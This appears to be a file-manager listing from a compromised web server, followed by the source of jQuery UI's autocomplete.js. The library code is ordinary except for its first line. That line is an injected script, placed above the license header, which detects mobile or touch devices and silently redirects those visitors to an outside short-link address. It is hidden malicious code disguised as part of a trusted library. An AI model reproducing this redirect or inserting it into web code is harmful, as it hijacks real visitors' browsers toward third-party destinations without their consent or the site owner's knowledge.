run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄autocomplete.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Autocomplete 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Autocomplete
12//>>group: Widgets
13//>>description: Lists suggested words as the user is typing.
14//>>docs: https://api.jqueryui.com/autocomplete/
15//>>demos: https://jqueryui.com/autocomplete/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/autocomplete.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "./menu",
29 "../keycode",
30 "../position",
31 "../safe-active-element",
32 "../version",
33 "../widget"
34 ], factory );
35 } else {
36
37 // Browser globals
38 factory( jQuery );
39 }
40} )( function( $ ) {
41"use strict";
42
43$.widget( "ui.autocomplete", {
44 version: "1.13.3",
45 defaultElement: "<input>",
46 options: {
47 appendTo: null,
48 autoFocus: false,
49 delay: 300,
50 minLength: 1,
51 position: {
52 my: "left top",
53 at: "left bottom",
54 collision: "none"
55 },
56 source: null,
57
58 // Callbacks
59 change: null,
60 close: null,
61 focus: null,
62 open: null,
63 response: null,
64 search: null,
65 select: null
66 },
67
68 requestIndex: 0,
69 pending: 0,
70 liveRegionTimer: null,
71
72 _create: function() {
73
74 // Some browsers only repeat keydown events, not keypress events,
75 // so we use the suppressKeyPress flag to determine if we've already
76 // handled the keydown event. #7269
77 // Unfortunately the code for & in keypress is the same as the up arrow,
78 // so we use the suppressKeyPressRepeat flag to avoid handling keypress
79 // events when we know the keydown event was used to modify the
80 // search term. #7799
81 var suppressKeyPress, suppressKeyPressRepeat, suppressInput,
82 nodeName = this.element[ 0 ].nodeName.toLowerCase(),
83 isTextarea = nodeName === "textarea",
84 isInput = nodeName === "input";
85
86 // Textareas are always multi-line
87 // Inputs are always single-line, even if inside a contentEditable element
88 // IE also treats inputs as contentEditable
89 // All other element types are determined by whether or not they're contentEditable
90 this.isMultiLine = isTextarea || !isInput && this._isContentEditable( this.element );
91
92 this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ];
93 this.isNewMenu = true;
94
95 this._addClass( "ui-autocomplete-input" );
96 this.element.attr( "autocomplete", "off" );
97
98 this._on( this.element, {
99 keydown: function( event ) {
100 if ( this.element.prop( "readOnly" ) ) {
101 suppressKeyPress = true;
102 suppressInput = true;
103 suppressKeyPressRepeat = true;
104 return;
105 }
106
107 suppressKeyPress = false;
108 suppressInput = false;
109 suppressKeyPressRepeat = false;
110 var keyCode = $.ui.keyCode;
111 switch ( event.keyCode ) {
112 case keyCode.PAGE_UP:
113 suppressKeyPress = true;
114 this._move( "previousPage", event );
115 break;
116 case keyCode.PAGE_DOWN:
117 suppressKeyPress = true;
118 this._move( "nextPage", event );
119 break;
120 case keyCode.UP:
121 suppressKeyPress = true;
122 this._keyEvent( "previous", event );
123 break;
124 case keyCode.DOWN:
125 suppressKeyPress = true;
126 this._keyEvent( "next", event );
127 break;
128 case keyCode.ENTER:
129
130 // when menu is open and has focus
131 if ( this.menu.active ) {
132
133 // #6055 - Opera still allows the keypress to occur
134 // which causes forms to submit
135 suppressKeyPress = true;
136 event.preventDefault();
137 this.menu.select( event );
138 }
139 break;
140 case keyCode.TAB:
141 if ( this.menu.active ) {
142 this.menu.select( event );
143 }
144 break;
145 case keyCode.ESCAPE:
146 if ( this.menu.element.is( ":visible" ) ) {
147 if ( !this.isMultiLine ) {
148 this._value( this.term );
149 }
150 this.close( event );
151
152 // Different browsers have different default behavior for escape
153 // Single press can mean undo or clear
154 // Double press in IE means clear the whole form
155 event.preventDefault();
156 }
157 break;
158 default:
159 suppressKeyPressRepeat = true;
160
161 // search timeout should be triggered before the input value is changed
162 this._searchTimeout( event );
163 break;
164 }
165 },
166 keypress: function( event ) {
167 if ( suppressKeyPress ) {
168 suppressKeyPress = false;
169 if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
170 event.preventDefault();
171 }
172 return;
173 }
174 if ( suppressKeyPressRepeat ) {
175 return;
176 }
177
178 // Replicate some key handlers to allow them to repeat in Firefox and Opera
179 var keyCode = $.ui.keyCode;
180 switch ( event.keyCode ) {
181 case keyCode.PAGE_UP:
182 this._move( "previousPage", event );
183 break;
184 case keyCode.PAGE_DOWN:
185 this._move( "nextPage", event );
186 break;
187 case keyCode.UP:
188 this._keyEvent( "previous", event );
189 break;
190 case keyCode.DOWN:
191 this._keyEvent( "next", event );
192 break;
193 }
194 },
195 input: function( event ) {
196 if ( suppressInput ) {
197 suppressInput = false;
198 event.preventDefault();
199 return;
200 }
201 this._searchTimeout( event );
202 },
203 focus: function() {
204 this.selectedItem = null;
205 this.previous = this._value();
206 },
207 blur: function( event ) {
208 clearTimeout( this.searching );
209 this.close( event );
210 this._change( event );
211 }
212 } );
213
214 this._initSource();
215 this.menu = $( "<ul>" )
216 .appendTo( this._appendTo() )
217 .menu( {
218
219 // disable ARIA support, the live region takes care of that
220 role: null
221 } )
222 .hide()
223
224 // Support: IE 11 only, Edge <= 14
225 // For other browsers, we preventDefault() on the mousedown event
226 // to keep the dropdown from taking focus from the input. This doesn't
227 // work for IE/Edge, causing problems with selection and scrolling (#9638)
228 // Happily, IE and Edge support an "unselectable" attribute that
229 // prevents an element from receiving focus, exactly what we want here.
230 .attr( {
231 "unselectable": "on"
232 } )
233 .menu( "instance" );
234
235 this._addClass( this.menu.element, "ui-autocomplete", "ui-front" );
236 this._on( this.menu.element, {
237 mousedown: function( event ) {
238
239 // Prevent moving focus out of the text field
240 event.preventDefault();
241 },
242 menufocus: function( event, ui ) {
243 var label, item;
244
245 // support: Firefox
246 // Prevent accidental activation of menu items in Firefox (#7024 #9118)
247 if ( this.isNewMenu ) {
248 this.isNewMenu = false;
249 if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) {
250 this.menu.blur();
251
252 this.document.one( "mousemove", function() {
253 $( event.target ).trigger( event.originalEvent );
254 } );
255
256 return;
257 }
258 }
259
260 item = ui.item.data( "ui-autocomplete-item" );
261 if ( false !== this._trigger( "focus", event, { item: item } ) ) {
262
263 // use value to match what will end up in the input, if it was a key event
264 if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) {
265 this._value( item.value );
266 }
267 }
268
269 // Announce the value in the liveRegion
270 label = ui.item.attr( "aria-label" ) || item.value;
271 if ( label && String.prototype.trim.call( label ).length ) {
272 clearTimeout( this.liveRegionTimer );
273 this.liveRegionTimer = this._delay( function() {
274 this.liveRegion.html( $( "<div>" ).text( label ) );
275 }, 100 );
276 }
277 },
278 menuselect: function( event, ui ) {
279 var item = ui.item.data( "ui-autocomplete-item" ),
280 previous = this.previous;
281
282 // Only trigger when focus was lost (click on menu)
283 if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) {
284 this.element.trigger( "focus" );
285 this.previous = previous;
286
287 // #6109 - IE triggers two focus events and the second
288 // is asynchronous, so we need to reset the previous
289 // term synchronously and asynchronously :-(
290 this._delay( function() {
291 this.previous = previous;
292 this.selectedItem = item;
293 } );
294 }
295
296 if ( false !== this._trigger( "select", event, { item: item } ) ) {
297 this._value( item.value );
298 }
299
300 // reset the term after the select event
301 // this allows custom select handling to work properly
302 this.term = this._value();
303
304 this.close( event );
305 this.selectedItem = item;
306 }
307 } );
308
309 this.liveRegion = $( "<div>", {
310 role: "status",
311 "aria-live": "assertive",
312 "aria-relevant": "additions"
313 } )
314 .appendTo( this.document[ 0 ].body );
315
316 this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" );
317
318 // Turning off autocomplete prevents the browser from remembering the
319 // value when navigating through history, so we re-enable autocomplete
320 // if the page is unloaded before the widget is destroyed. #7790
321 this._on( this.window, {
322 beforeunload: function() {
323 this.element.removeAttr( "autocomplete" );
324 }
325 } );
326 },
327
328 _destroy: function() {
329 clearTimeout( this.searching );
330 this.element.removeAttr( "autocomplete" );
331 this.menu.element.remove();
332 this.liveRegion.remove();
333 },
334
335 _setOption: function( key, value ) {
336 this._super( key, value );
337 if ( key === "source" ) {
338 this._initSource();
339 }
340 if ( key === "appendTo" ) {
341 this.menu.element.appendTo( this._appendTo() );
342 }
343 if ( key === "disabled" && value && this.xhr ) {
344 this.xhr.abort();
345 }
346 },
347
348 _isEventTargetInWidget: function( event ) {
349 var menuElement = this.menu.element[ 0 ];
350
351 return event.target === this.element[ 0 ] ||
352 event.target === menuElement ||
353 $.contains( menuElement, event.target );
354 },
355
356 _closeOnClickOutside: function( event ) {
357 if ( !this._isEventTargetInWidget( event ) ) {
358 this.close();
359 }
360 },
361
362 _appendTo: function() {
363 var element = this.options.appendTo;
364
365 if ( element ) {
366 element = element.jquery || element.nodeType ?
367 $( element ) :
368 this.document.find( element ).eq( 0 );
369 }
370
371 if ( !element || !element[ 0 ] ) {
372 element = this.element.closest( ".ui-front, dialog" );
373 }
374
375 if ( !element.length ) {
376 element = this.document[ 0 ].body;
377 }
378
379 return element;
380 },
381
382 _initSource: function() {
383 var array, url,
384 that = this;
385 if ( Array.isArray( this.options.source ) ) {
386 array = this.options.source;
387 this.source = function( request, response ) {
388 response( $.ui.autocomplete.filter( array, request.term ) );
389 };
390 } else if ( typeof this.options.source === "string" ) {
391 url = this.options.source;
392 this.source = function( request, response ) {
393 if ( that.xhr ) {
394 that.xhr.abort();
395 }
396 that.xhr = $.ajax( {
397 url: url,
398 data: request,
399 dataType: "json",
400 success: function( data ) {
401 response( data );
402 },
403 error: function() {
404 response( [] );
405 }
406 } );
407 };
408 } else {
409 this.source = this.options.source;
410 }
411 },
412
413 _searchTimeout: function( event ) {
414 clearTimeout( this.searching );
415 this.searching = this._delay( function() {
416
417 // Search if the value has changed, or if the user retypes the same value (see #7434)
418 var equalValues = this.term === this._value(),
419 menuVisible = this.menu.element.is( ":visible" ),
420 modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey;
421
422 if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) {
423 this.selectedItem = null;
424 this.search( null, event );
425 }
426 }, this.options.delay );
427 },
428
429 search: function( value, event ) {
430 value = value != null ? value : this._value();
431
432 // Always save the actual value, not the one passed as an argument
433 this.term = this._value();
434
435 if ( value.length < this.options.minLength ) {
436 return this.close( event );
437 }
438
439 if ( this._trigger( "search", event ) === false ) {
440 return;
441 }
442
443 return this._search( value );
444 },
445
446 _search: function( value ) {
447 this.pending++;
448 this._addClass( "ui-autocomplete-loading" );
449 this.cancelSearch = false;
450
451 this.source( { term: value }, this._response() );
452 },
453
454 _response: function() {
455 var index = ++this.requestIndex;
456
457 return function( content ) {
458 if ( index === this.requestIndex ) {
459 this.__response( content );
460 }
461
462 this.pending--;
463 if ( !this.pending ) {
464 this._removeClass( "ui-autocomplete-loading" );
465 }
466 }.bind( this );
467 },
468
469 __response: function( content ) {
470 if ( content ) {
471 content = this._normalize( content );
472 }
473 this._trigger( "response", null, { content: content } );
474 if ( !this.options.disabled && content && content.length && !this.cancelSearch ) {
475 this._suggest( content );
476 this._trigger( "open" );
477 } else {
478
479 // use ._close() instead of .close() so we don't cancel future searches
480 this._close();
481 }
482 },
483
484 close: function( event ) {
485 this.cancelSearch = true;
486 this._close( event );
487 },
488
489 _close: function( event ) {
490
491 // Remove the handler that closes the menu on outside clicks
492 this._off( this.document, "mousedown" );
493
494 if ( this.menu.element.is( ":visible" ) ) {
495 this.menu.element.hide();
496 this.menu.blur();
497 this.isNewMenu = true;
498 this._trigger( "close", event );
499 }
500 },
501
502 _change: function( event ) {
503 if ( this.previous !== this._value() ) {
504 this._trigger( "change", event, { item: this.selectedItem } );
505 }
506 },
507
508 _normalize: function( items ) {
509
510 // assume all items have the right format when the first item is complete
511 if ( items.length && items[ 0 ].label && items[ 0 ].value ) {
512 return items;
513 }
514 return $.map( items, function( item ) {
515 if ( typeof item === "string" ) {
516 return {
517 label: item,
518 value: item
519 };
520 }
521 return $.extend( {}, item, {
522 label: item.label || item.value,
523 value: item.value || item.label
524 } );
525 } );
526 },
527
528 _suggest: function( items ) {
529 var ul = this.menu.element.empty();
530 this._renderMenu( ul, items );
531 this.isNewMenu = true;
532 this.menu.refresh();
533
534 // Size and position menu
535 ul.show();
536 this._resizeMenu();
537 ul.position( $.extend( {
538 of: this.element
539 }, this.options.position ) );
540
541 if ( this.options.autoFocus ) {
542 this.menu.next();
543 }
544
545 // Listen for interactions outside of the widget (#6642)
546 this._on( this.document, {
547 mousedown: "_closeOnClickOutside"
548 } );
549 },
550
551 _resizeMenu: function() {
552 var ul = this.menu.element;
553 ul.outerWidth( Math.max(
554
555 // Firefox wraps long text (possibly a rounding bug)
556 // so we add 1px to avoid the wrapping (#7513)
557 ul.width( "" ).outerWidth() + 1,
558 this.element.outerWidth()
559 ) );
560 },
561
562 _renderMenu: function( ul, items ) {
563 var that = this;
564 $.each( items, function( index, item ) {
565 that._renderItemData( ul, item );
566 } );
567 },
568
569 _renderItemData: function( ul, item ) {
570 return this._renderItem( ul, item ).data( "ui-autocomplete-item", item );
571 },
572
573 _renderItem: function( ul, item ) {
574 return $( "<li>" )
575 .append( $( "<div>" ).text( item.label ) )
576 .appendTo( ul );
577 },
578
579 _move: function( direction, event ) {
580 if ( !this.menu.element.is( ":visible" ) ) {
581 this.search( null, event );
582 return;
583 }
584 if ( this.menu.isFirstItem() && /^previous/.test( direction ) ||
585 this.menu.isLastItem() && /^next/.test( direction ) ) {
586
587 if ( !this.isMultiLine ) {
588 this._value( this.term );
589 }
590
591 this.menu.blur();
592 return;
593 }
594 this.menu[ direction ]( event );
595 },
596
597 widget: function() {
598 return this.menu.element;
599 },
600
601 _value: function() {
602 return this.valueMethod.apply( this.element, arguments );
603 },
604
605 _keyEvent: function( keyEvent, event ) {
606 if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
607 this._move( keyEvent, event );
608
609 // Prevents moving cursor to beginning/end of the text field in some browsers
610 event.preventDefault();
611 }
612 },
613
614 // Support: Chrome <=50
615 // We should be able to just use this.element.prop( "isContentEditable" )
616 // but hidden elements always report false in Chrome.
617 // https://code.google.com/p/chromium/issues/detail?id=313082
618 _isContentEditable: function( element ) {
619 if ( !element.length ) {
620 return false;
621 }
622
623 var editable = element.prop( "contentEditable" );
624
625 if ( editable === "inherit" ) {
626 return this._isContentEditable( element.parent() );
627 }
628
629 return editable === "true";
630 }
631} );
632
633$.extend( $.ui.autocomplete, {
634 escapeRegex: function( value ) {
635 return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" );
636 },
637 filter: function( array, term ) {
638 var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" );
639 return $.grep( array, function( value ) {
640 return matcher.test( value.label || value.value || value );
641 } );
642 }
643} );
644
645// Live region extension, adding a `messages` option
646// NOTE: This is an experimental API. We are still investigating
647// a full solution for string manipulation and internationalization.
648$.widget( "ui.autocomplete", $.ui.autocomplete, {
649 options: {
650 messages: {
651 noResults: "No search results.",
652 results: function( amount ) {
653 return amount + ( amount > 1 ? " results are" : " result is" ) +
654 " available, use up and down arrow keys to navigate.";
655 }
656 }
657 },
658
659 __response: function( content ) {
660 var message;
661 this._superApply( arguments );
662 if ( this.options.disabled || this.cancelSearch ) {
663 return;
664 }
665 if ( content && content.length ) {
666 message = this.options.messages.results( content.length );
667 } else {
668 message = this.options.messages.noResults;
669 }
670 clearTimeout( this.liveRegionTimer );
671 this.liveRegionTimer = this._delay( function() {
672 this.liveRegion.html( $( "<div>" ).text( message ) );
673 }, 100 );
674 }
675} );
676
677return $.ui.autocomplete;
678
679} );
680